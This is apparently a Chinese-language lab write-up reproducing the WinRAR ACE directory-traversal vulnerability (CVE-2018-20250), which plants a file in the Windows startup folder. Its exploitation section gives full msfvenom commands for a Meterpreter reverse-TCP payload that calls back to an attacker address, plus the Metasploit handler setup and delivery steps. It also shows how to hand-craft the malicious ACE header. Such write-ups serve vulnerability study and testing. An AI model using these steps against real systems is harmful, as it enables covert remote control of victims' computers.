爆出来时候想着复现一下,拖到现在已经快一个月了(っ °Д °;)っ,正好在网上看见了有虚拟机直接可以复现学习一波。以下复制粘贴~
漏洞背景:
2019 年 2 月 20 日 Check Point团队爆出了一个关于WinRAR存在19年的漏洞,用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件,当受害者使用WinRAR解压该恶意文件时便会触发漏洞。
WinRAR 代码执行相关的 CVE 编号如下:
CVE-2018-20250, CVE-2018-20251, CVE-2018-20252,CVE-2018-20253
该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。该动态链接库的作用是处理 ACE 格式文件。在对解压目标的相对路径进行解析时,CleanPath函数过滤不严导致目录穿越漏洞,允许解压过程写入文件至开机启动项,导致代码执行。
漏洞利用条件:
攻击不能跨盘符,即受害者进行解压文件触发漏洞时,必须在系统盘,且在不知道计算机主机名的情况下,只能在主浏览器的默认下载路径下或者桌面进行解压。
WinAce:一款来自德国的绝对强悍的压缩和解压缩程序,功能及支持格式相当齐全,功能方面包括压缩与解压缩之外、还有分片压缩、加密功能、支持鼠标右键快显功能,建立自动解压缩等,支持的格式更丰富包括程序本身的ACE及ZIP、RAR、LZH、ARJ、TAR、CAB、LHA、GZIP等,几乎常用的程序都支持,另 WinACE可预设压缩及解压缩路径、编辑程序、扫毒程序等。
在漏洞公开后两天内,网络上便有了相关的exp。
公开的exp地址:
url:https://github.com/WyAtu/CVE-2018-20250
利用网上提供的exp,使用计算器弹出程序,模拟恶意软件,进行漏洞的验证。若存在漏洞,目标主机重启之后会弹出计算器。
实验环境
攻击机:KALI Linux IP:10.1.1.100
目标机:Windows10_64(安装Winrar、WinAce、HxD或者其他二进制编辑器)
复现:
- 安装WinRAR之后使用EXP.py脚本 自动创建test.rar 测试压缩包
- 运行acefile.py检查文件结构(此步非必须,对攻击无影响)
- 将测试文件移动到桌面(由于此漏洞的条件限制,攻击行为不能跨盘符,所以需要将文件移动到桌面或者是火狐、chrom、IE等浏览器的默认下载路径,又或是你已经知道目标主机的主机名,但是解压仍然是需要在目标的系统盘中进行)
- 打开电脑的启动文件夹:(Win+R或开始菜单鼠标右键->运行 shell:startup ) 此时文件夹为空:
- 开始解压测试文件
- 解压完之后会看到启动目录下多出来一个“hi.exe”
- 重启电脑,弹窗成功:(CMD里运行重启命令shutdown -r -t 0,重启后需要刷新一下浏览器重新进入实验机)
利用:
配合msf进行漏洞利用。
我们要使用msfvenom生成一个远程控制程序,然后利用exp将这个程序写进压缩包,发送给目标主机,目标主机在不知情的情况下解压文件,就会感染恶意程序,然后在目标主机重启之后,恶意程序会自启动,我们使用kali就可以远程连接。
1. 启动postgresql数据库 service postgresql start
2. 使用msfvenom生成一个远程控制程序,首先筛选出我们可用的payload,如图便是我们全部可用的payload(目标主机为64位win10):
msfvenom -l | grep x64 | grep windows | grep tcp
3.查看本机的IP地址(攻击机):
4.生成远程控制程序,我们使用的payload是“windows/x64/meterpreter/reverse_tcp”,lhost的值为攻击机的主机地址:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.1.1.100 lport=1234 -f exe -o /root/muma.exe
5.在kali中下载exp并解压:unzip CVE-2018-20250.zip
6.将我们生成的muma.exe移动到exp的文件夹下并修改代码:
7. 运行exp生成包含恶意文件的压缩包,当我们直接运行exp时,会出现错误,这是因为代码中python的调用方式只适合在windows中使用,要在linux中使用,我们需要将原来的“py -3”更改为“python3”
8. 我们用python开启一个简单的http服务: python -m SimpleHTTPServer
9. 然后使用目标机将文件“test.rar”下载下来,并将其移动到桌面。
10.我们再切换到kali中,打开msfconsole,进行如下设置:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.1.1.100
set lport 1234
11. 在windows中使用winrar解压test.rar(在桌面解压),会发现启动目录下多出了hi.exe
12 我们重启windows:shutdown -r -t 10
13. 此时再查看kali,已经可以远程控制了:
我们尝试关闭目标主机:shutdown -r -t 60 切换到目标主机会有如下提示,可见命令执行成功:
执行其他命令,也会有返回信息:
漏洞的原理分析(ACE文件分析):
了解ACE文件,使用WinAce创建一个ACE文件,我们这里使用test.txt文件(自己创建,内容随意),生成的文件名为test.ace:
1. 安装好WinAce之后,打开WinAce,点击“return to WinAce”
选择“create”,便可以开始选择想要压缩的文件
使用二进制编辑器HxD查看ACE文件格式:
如上图中,
红色框内为:hdr_crc的值:0x8E24
橙色框内为:filename:即文件的名字,包括其路径。
绿色框内为:文件的内容。
橙色框之前的“1F00”为filename的长度,取值“0x001F”,十进制为31
如图选中的内容为:广告
后面的红色框中的内容也是hdr_crc
绿色框中的为hdr_size,代表头部大小
我们开始修改其内容,假设我们要达到的效果是解压后将其自动解压到启动项里。
2. 首先,复制启动项的目录:
稍作修改:
3. 粘贴到ACE文件中
4. 修改filename的长度
5. 修改hdr_size:
6. 使用acefile.py解析ace文件,可以看到报错,需要我们修改hdr_crc,并告诉了我们正确的hdr_crc
7. 再次解析之后,成功解析:
8. 将test.ace文件移动到桌面,右键点击使用winrar解压到当前文件夹。
9. 之后在桌面上并没有发现解压的文件,打开启动目录,会发现文件被解压到启动目录下:
10. 至此我们便可以知道此漏洞利用的原理,因为winrar在解析ACE文件的时候,会根据文件的路径来进行解压,所以根据这一点来构造路径,从而触发目录穿越将恶意文件解压到启动文件夹内。
参考文章:
https://ti.360.net/advisory/articles/360ti-sv-2019-0009-winrar-rce/
https://www.anquanke.com/post/id/171403
https://research.checkpoint.com/extracting-code-execution-from-winrar/
https://www.360zhijia.com/360dongtai/444936.html
http://www.hetianlab.com/expc.do?ec=ECIDa553-501d-4d4e-97dd-70eec3752240